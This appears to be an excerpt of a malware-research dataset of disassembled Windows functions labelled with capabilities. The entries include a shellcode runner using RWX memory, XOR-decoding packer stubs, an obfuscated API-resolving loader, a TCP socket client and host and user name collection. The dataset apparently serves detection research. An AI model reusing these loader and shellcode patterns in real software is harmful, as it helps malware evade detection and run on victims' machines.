joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406c90
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x1c0
mov eax, dword [0x413018]
xor eax, esp
mov dword [esp + 0x1b8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x30]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor eax, eax
cmp dword [0x416290], 0x10
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x14], eax
mov eax, dword [0x41627c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 6
jae 0x406d05
mov eax, 0x41627c
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
push 0
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x406d5b
mov esi, dword [esp + 0xc]
test esi, esi
je 0x406d54
mov edi, dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ebx, dword [sym.imp.MSVCR90.dll_strcpy_s]
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
push eax
call edi
push eax
push 0x104
push 0x415a38
call ebx
mov esi, dword [esi + 0x1c]
add esp, 0xc
test esi, esi
jne 0x406d30
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov ecx, dword [esp + 0x1c4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040b57a
add esp, 0x1c0
ret

Function at 0x406d80
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x1c0
mov eax, dword [0x413018]
xor eax, esp
mov dword [esp + 0x1b8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x30]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor eax, eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
push eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
push str.microsoft.com
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x406e3b
mov esi, dword [esp + 0xc]
test esi, esi
je 0x406e34
mov edi, dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ebx, dword [sym.imp.MSVCR90.dll_strcpy_s]
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
push eax
call edi
push eax
push 0x104
push 0x415c48
call ebx
mov esi, dword [esi + 0x1c]
add esp, 0xc
test esi, esi
jne 0x406e10
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov ecx, dword [esp + 0x1c4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040b57a
add esp, 0x1c0
ret
Function at 0x406e60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push 0xffffffffffffffff
push 0x40c9e9
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x413018]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x413018]
xor eax, esp
push eax
lea eax, [esp + 0x24]
mov dword fs:[0], eax
push 0x415a38
lea ecx, [esp + 8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
cmp dword [esp + 0x1c], 0x10
mov eax, dword [esp + 8]
jae 0x406eac
lea eax, [esp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0xb930
mov dword [0x415518], eax
call dword [sym.imp.WS2_32.dll_htons]
push 6
mov word [0x415516], ax
mov eax, 2
push 1
push eax
mov word [0x415514], ax
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
push 0x415514
push eax
mov dword [0x415524], eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x406f1d
mov ecx, dword [0x415524]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
lea ecx, [esp + 4]
mov dword [0x415524], eax
mov dword [esp + 0x2c], eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
jmp 0x406f38
lea ecx, [esp + 4]
mov byte [0x415624], 1
mov dword [esp + 0x2c], 0xffffffff
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0040b57a
add esp, 0x2c
ret
Function at 0x407de0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x5c
push esi
push 0x44
lea eax, [esp + 0x1c]
push 0
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
xor eax, eax
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
push eax
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x84]
push eax
push 0
mov dword [esp + 0x40], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0xc]
push edx
call esi
pop esi
add esp, 0x5c
ret

Function at 0x4080c0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x444
mov eax, dword [0x413018]
xor eax, esp
mov dword [esp + 0x43c], eax
push 0x434
lea eax, [esp + 8]
push 0
push eax
mov dword [esp + 0xc], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
call fcn.00407d80
lea edx, [esp]
jmp 0x408100
movzx ecx, word [eax]
mov word [edx], cx
add eax, 2
add edx, 2
test cx, cx
jne 0x408100
lea ecx, [esp]
push ecx
call fcn.00407de0
add esp, 4
push 0
call dword [sym.imp.MSVCR90.dll_exit]
int3

Function at 0x408130
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
xor esi, esi
test edi, edi
jle 0x408162
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [0x415524]
push 0
mov eax, edi
sub eax, esi
push eax
lea ecx, [esi + ebp]
push ecx
push edx
call ebx
cmp eax, 0xffffffff
je 0x408168
add esi, eax
cmp esi, edi
jl 0x408143
pop esi
pop ebp
mov al, 1
pop ebx
ret
pop esi
pop ebp
xor al, al
pop ebx
ret

Function at 0x408170
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
xor esi, esi
test edi, edi
jle 0x4081a2
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov edx, dword [0x415524]
push 0
mov eax, edi
sub eax, esi
push eax
lea ecx, [esi + ebp]
push ecx
push edx
call ebx
cmp eax, 0xffffffff
je 0x4081a8
add esi, eax
cmp esi, edi
jl 0x408183
pop esi
pop ebp
mov al, 1
pop ebx
ret
pop esi
pop ebp
xor al, al
pop ebx
ret

Function at 0x4081b0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_htonl]
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0xc], eax
xor esi, esi
lea esp, [esp]
mov eax, dword [0x415524]
push 0
mov ecx, 4
sub ecx, esi
push ecx
lea edx, [esp + esi + 0x14]
push edx
push eax
call edi
cmp eax, 0xffffffff
je 0x4081f8
add esi, eax
cmp esi, 4
jl 0x4081d0
pop edi
mov al, 1
pop esi
ret
pop edi
xor al, al
pop esi
ret
Function at 0x408350
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40cb69
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x413018]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
lea edi, [esp + 0xc]
call fcn.00408200
test al, al
je 0x4083b1
mov eax, dword [esp + 0xc]
inc eax
push eax
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
mov ecx, dword [esp + 0x10]
mov esi, eax
mov byte [esi + ecx], 0
mov edi, dword [esp + 0x10]
push esi
call fcn.00408130
add esp, 8
test al, al
jne 0x4083c5
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
xor al, al
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x30
ret
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x2c], esp
push esi
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x30]
call fcn.00409690
add esp, 0x1c
mov ecx, dword [esp + 0x40]
push eax
mov dword [esp + 0x3c], 0
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x14]
mov dword [esp + 0x38], 0xffffffff
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x30
ret
Function at 0x409900
Capabilities:
Get hostname
Get session user name

Disassembly:
sub esp, 0x510
mov eax, dword [0x413018]
xor eax, esp
mov dword [esp + 0x50c], eax
xor eax, eax
push 0x3fe
push eax
lea ecx, [esp + 0x116]
push ecx
mov word [esp + 0x118], ax
call sub.MSVCR90.dll_memset
xor edx, edx
push 0x102
push edx
lea eax, [esp + 0x1e]
push eax
mov word [esp + 0x20], dx
call sub.MSVCR90.dll_memset
add esp, 0x18
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x110]
push edx
mov dword [esp + 0xc], 0x64
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp]
push eax
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 8], 0x64
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x10c]
push edx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
lea eax, [esp + 0xc]
push eax
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
mov ecx, dword [esp + 0x514]
add esp, 8
xor ecx, esp
call fcn.0040b57a
add esp, 0x510
ret
Function at 0x40b57a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x413018]
jne 0x40b584
repz ret
jmp fcn.0040b9c5
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x40131b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40137d
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 8], eax
mov dword [esp + 4], str.VirtualAlloc_failed:__lu_n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [esp], 1
call sym._exit
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 4]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
leave
ret

Function at 0x401b70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.___do_sjlj_init
Function at 0x51e890
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc9000]
push edi
or ebp, 0xffffffff
jmp 0x51e8b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x51e8b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51e8a8
mov eax, 1
add ebx, ebx
jne 0x51e8cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x51e8dc
jne 0x51e8fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51e8fb
dec eax
add ebx, ebx
jne 0x51e8e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x51e8c0
add ebx, ebx
jne 0x51e8f7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x51e94d
xor ecx, ecx
sub eax, 3
jb 0x51e913
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51e982
sar eax, 1
mov ebp, eax
jmp 0x51e91e
add ebx, ebx
jne 0x51e91e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51e8ec
inc ecx
add ebx, ebx
jne 0x51e92c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51e8ec
add ebx, ebx
jne 0x51e939
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x51e92e
jne 0x51e94a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x51e92e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x51e96c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x51e95e
jmp 0x51e8ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x51e96c
add edi, ecx
jmp 0x51e8ae
pop esi
mov edi, esi
mov ecx, 0x374
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x51e98a
cmp byte [edi], 5
jne 0x51e98a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x51e98f
lea edi, [esi + 0x11c000]
mov eax, dword [edi]
or eax, eax
je 0x51e9fe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13d080]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x13d10c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x51e9bc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x13d110]
or eax, eax
je 0x51e9f8
mov dword [ebx], eax
add ebx, 4
jmp 0x51e9d9
call dword [esi + 0x13d120]
mov ebp, dword [esi + 0x13d114]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x51ea32
sub esp, 0xffffff80
jmp 0x403d86
Function at 0x70012b7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x70012c6
pop dword [ebp - 0x10]
mov eax, 0x986d7eab
sub eax, 0x916d6be5
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x90589cff
sub dword [ebp - 0x20], 0x420657b4
mov dword [ebp - 0x1c], 0xd9e6929
add dword [ebp - 0x1c], 0x2494e31c
mov dword [ebp - 0x18], 0xf2712713
sub dword [ebp - 0x18], 0xa624e2e5
mov dword [ebp - 0x14], 0xa1c5cadd
add dword [ebp - 0x14], 0x5e3a3523
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x94984a7c
add dword [ebp - 0x20], 0xdfda1eda
mov dword [ebp - 0x1c], 0x5733515f
sub dword [ebp - 0x1c], 0x15c6efea
mov dword [ebp - 0x18], 0x2a5e9218
add dword [ebp - 0x18], 0x3910da54
mov dword [ebp - 0x14], 0x2d2f0a69
sub dword [ebp - 0x14], 0x2d2f0a69
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x399b7
push 0
call eax
mov ecx, 0xaaf106d4
add ecx, 0x550f3d4c
xor ebx, ebx
add ebx, eax
mov edx, 0x2b8e993d
add edx, 0xdb7368c3
add edx, dword [ebp - 0x10]
mov edi, 0xa8158957
sub edi, 0x91a62aa5
xor dword [ebp - 4], esi
mov esi, dword [edx]
sub dword [ebp - 4], 0x723d803a
add esi, edi
add dword [ebp - 0xc], edi
mov dword [ebx], esi
mov dword [ebp - 8], 0xaffb6c8a
add ebx, 0x473164df
sub ebx, 0x473164db
add edx, 0x15514c54
sub edx, 0x15514c50
loop 0x70013e0
add eax, 0x10353
mov ebx, eax
add eax, 5
mov ecx, 0x7000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x700d29f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x70120f1
call fcn.07001cf8
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700d491
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700dd8a
lea ecx, [ebp - 0x10]
call fcn.0700d23c
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700d30c
mov eax, dword [eax + 0x14]
jmp 0x700d311
mov eax, 0x70138c2
push 0x7015240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700d343
mov ecx, dword [edi + 4]
call fcn.070076d1
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.070012b7
mov eax, edi
call fcn.07001ea7
ret 4
push str.file_does_not_exist
push ebx
call fcn.070012b7
int3
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x30f95353
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
mov eax, section..rsrc
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x581c2677
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10835108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x10835258
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1083512e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1083511a
add dl, dl
jne 0x10835139
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1083518c
xor eax, eax
add dl, dl
jne 0x10835146
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1083522d
add dl, dl
jne 0x10835155
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10835160
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1083516b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10835176
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10835182
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10835125
mov eax, 1
add dl, dl
jne 0x1083519a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108351a5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10835191
sub eax, ebx
mov ebx, 1
jne 0x108351d8
mov ecx, 1
add dl, dl
jne 0x108351be
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x108351c9
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108351b5
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10835125
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x108351ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x108351fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108351e6
cmp eax, 0x7d00
jae 0x1083521d
cmp eax, 0x500
jb 0x10835218
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10835125
cmp eax, 0x7f
ja 0x10835220
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10835125
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1083524e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10835125
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10